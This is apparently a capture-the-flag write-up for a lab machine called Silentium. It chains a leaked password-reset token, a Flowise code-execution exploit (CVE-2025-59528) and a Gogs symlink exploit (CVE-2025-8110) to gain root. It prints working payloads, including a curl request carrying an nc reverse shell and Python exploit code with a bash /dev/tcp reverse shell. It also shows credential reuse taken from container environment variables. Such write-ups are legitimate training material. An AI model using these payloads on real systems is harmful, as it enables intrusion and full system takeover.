Silentium
Summary
A website hidden as a virtual host is outdated and can be exploited with a public exploit. Since the application was deployed in a containerized environment, access is restricted. Through password reuse from the environment variables, SSH access to the underlying host machine is possible to obtain user access. Following this, exploitation of a local and outdated GIT management service leads to a reverse shell as root.
Solution
Reconnaissance
We start with basic network enumeration with Nmap to identify open ports.
nmap 10.129.89.6 -sC -sV -p-
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-28 09:48 +0200
Nmap scan report for 10.129.89.6
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.80 seconds
The target only exposes an SSH service on port 22, which we might be able to use later on for a stable shell, as well as a web server on port 80. Since the latter forwards us to http://silentium.htb/, we won’t be able to visit the exposed website until we add this domain to our resolver. For this, we can add the following to our /etc/hosts file.
10.129.89.6 silentium.htb
Now, we can access the website in our browser.

The website itself is not very interesting to us, as it has almost no functionality. However, the very bottom of this page mention three people working at the company. While two are mentioned by their first and last name, there is Bob - just that. This might come in handy if we ever need a username.
Since the page doesn’t yield anything exploitable, we can search for virtual hosts with Gobuster.
echo "{GOBUSTER}.silentium.htb" > pattern
gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -p pattern
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://silentium.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] Patterns: pattern (1 entries)
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: false
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
staging.silentium.htb Status: 200 [Size: 3142]
There seems to be a staging virtual host that we can take a look at. To do so, we again need to update our /etc/hosts file.
10.129.89.6 silentium.htb staging.silentium.htb
The new page exposes a login panel, which also offers a Forgot password? feature.

User Flag
These kinds of features can oftentimes be abused to identify existing users if they are not implemented correctly due to different return codes. For example, a user test@test.com that doesn’t exist returns a User Not Found error.

Since we know that the website and it’s underlying company has three employees, including Bob, we can check if these people have accounts for this application. Maybe we can enumerate users this way.

That works! Seemingly, the email address ben@silentium.htb does exist and the website confirms, that a password reset code was sent to the email. Since we don’t have access to that email account, and therefore the code, we can’t access it right away, which makes this semi-useful. However, if we fire up BurpSuite and take look at the request, we can see something interesting.

Even though the reset token was sent over email, the page also returns it in the web response at user.temptoken. That is a mistake we can easily abuse by pasting it into the text field and setting a new password for ben@silentium.htb.

Now, we can finally log into the application, which turns out to be Flowise - some kind of agentic platform.

Since our user is an administrator on this application, we have a few options what to do. While I am certain there are a few ways to configure and exploit agents for code execution, there appears to be an easier way for exploitation. At the top right, we can enumerate the applications version to be 3.0.5.

A quick internet search can tell us, that this version has a public vulnerability: CVE-2025-59528, which also comes with a Proof-of-Concept exploit that abuses API access. For this to work, we first go to the API Keys section and issue such a key.

Afterward, we can use the PoC by pointing it at the correct domain and add a reverse shell from Revshells as the payload. Remember to set and start the according Netcat listener.
curl -X POST 'http://staging.silentium.htb/api/v1/node-load-method/customMCP' -H 'Content-Type: application/json' -H 'Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc' --data-raw '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1 |nc 10.10.17.95 4444 >/tmp/f\");return 1;})()})"}}'
We quickly get a response in form of a reverse shell as root.
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.95] from (UNKNOWN) [10.129.89.6] 34753
sh: can't access tty; job control turned off
/ # whoami
root
/ #
Sadly, we can quickly discover that we are dealing with a containerized environment, meaning we don’t actually have root access on the host. Regular exploitation attempts for Docker escapes also didn’t yield anything. However, inspection of the environment variables discloses a few passwords.
env
FLOWISE_PASSWORD=F1l3_d0ck3r
<cut>
SENDER_EMAIL=ben@silentium.htb
<cut>
SMTP_PASSWORD=r04D!!_R4ge
<cut>
Since SENDER_EMAIL is again set to the email of Ben, which we know to have have accounts all over the place, and SMTP_PASSWORD obviously being related to SMTP, the service used for sending emails, it is not a long leap to think that this might be Ben’s password. Maybe it was even reused for shell access via SSH.

Indeed, it was. We now have a stable shell as Ben and can collect the user flag.
35e835cd8afdd8ed12afe43040675347
Root Flag
When we inspect running processes on network ports, we can discover a network service, which was previously hidden from us.
ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
<cut>
tcp LISTEN 0 4096 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:37727 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
Apart from a few other services, there is something bound to localhost:3001. Since a curl request returns HTML, it seems to be a web service.
curl 127.0.0.1:3001
<!DOCTYPE html>
<html>
<head data-suburl="">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<meta name="author" content="Gogs" />
<meta name="description" content="Gogs is a painless self-hosted Git service" />
<meta name="keywords" content="go, git, self-hosted, gogs">
<meta name="referrer" content="no-referrer" />
<meta name="_csrf" content="fH6q00__SFjvdTz1ZRKha6lCFak6MTc4NzkwODI2NDE3ODU3MTEyOA" />
<meta name="_suburl" content="" />
Due to the fact that service exclusively runs on the machine and is not externally exposed, we need to forward it to make it accessible to our machine. The easiest way of doing this is to forward the port with SSH.
ssh ben@silentium.htb -L 3001:localhost:3001
Now, we can access an application called Gogs in our browser at localhost:3001, which is a management service for GIT repositories.

Since the application itself doesn’t disclose the version, we can check it at the service binary directly from the SSH shell, due to us having read access for this directory.
/opt/gogs/gog/gogs --version
Gogs version 0.13.3
The application runs at version 0.13.3. Another search reveals this particular version to suffer from CVE-2025-8110, which luckily comes with another PoC exploit. In attempts to apply it, I ran into the issue, that the account creation process, which is required and performed by the exploit, fails. As an alternative, I created an account directly at the web interface and adapted the script to use my credentials and skip the registration.

The adapted main() function in the script looks as follows:
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
parser.add_argument("-lh", "--host", required=True, help="Attacker host")
parser.add_argument("-lp", "--port", required=True, help="Attacker port")
parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
args = parser.parse_args()
session = requests.Session()
if args.proxy:
session.proxies.update(proxies)
session.verify = False
username = "test"
password = "test"
command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
try:
#register(session, args.url, username, password)
login(session, args.url, username, password)
<cut>
Also, since this script essentially publishes a GIT repository embedded with a malicious command, the git utility needs to be set up. Otherwise, exploitation will fail.
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
Now, we can start the Netcat listener and run the exploit.
nc -lvnp 4444
listening on [any] 4444 ...
python3 CVE-2025-8110.py -u http://localhost:3001 --host 10.10.17.95 --port 4444
[+] Authenticated successfully
Token generation status: 200
[+] Application token: ada94984e10a290799e2b62c9ad301f225e7c1d2
Repo creation status: 201
Cloning into '/tmp/25e9665d0aef'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 245 bytes | 245.00 KiB/s, done.
[master 5605a7a] Add malicious symlink
1 file changed, 1 insertion(+)
create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 8 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 300 bytes | 300.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://localhost:3001/test/25e9665d0aef.git
83d588f..5605a7a master -> master
[+] Exploit sent, check your listener!
[-] Error: HTTPConnectionPool(host='localhost', port=3001): Read timed out. (read timeout=5)
As a result, we catch a reverse shell as root and can claim the root flag.
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.95] from (UNKNOWN) [10.129.89.25] 44696
bash: cannot set terminal process group (1486): Inappropriate ioctl for device
bash: no job control in this shell
root@silentium:/opt/gogs/gogs/data/tmp/local-repo/8# whoami
whoami
root
e61efa6d36bb4d70066ff7f8f21745b7